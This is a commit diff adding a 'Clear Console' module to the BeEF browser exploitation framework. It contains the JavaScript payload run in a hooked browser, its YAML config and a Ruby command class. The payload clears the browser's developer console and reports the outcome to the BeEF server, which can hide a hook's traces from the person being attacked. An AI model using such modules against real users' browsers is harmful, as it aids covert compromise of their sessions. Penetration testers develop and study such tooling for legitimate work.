Add Clear Console module

This commit is contained in:
Brendan Coles
2016-01-31 20:29:45 +00:00
parent ff50dc9c4a
commit 39df7184aa
3 changed files with 46 additions and 0 deletions

View File

@@ -0,0 +1,15 @@
//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
try {
beef.debug("Clearing console...");
console.clear();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console");
} catch(e) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console");
}
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
clear_console:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Clear Console"
description: "This module clears the Chrome developer console buffer."
authors: ["bcoles"]
target:
user_notify: ["C"]
not_working: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Clear_console < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end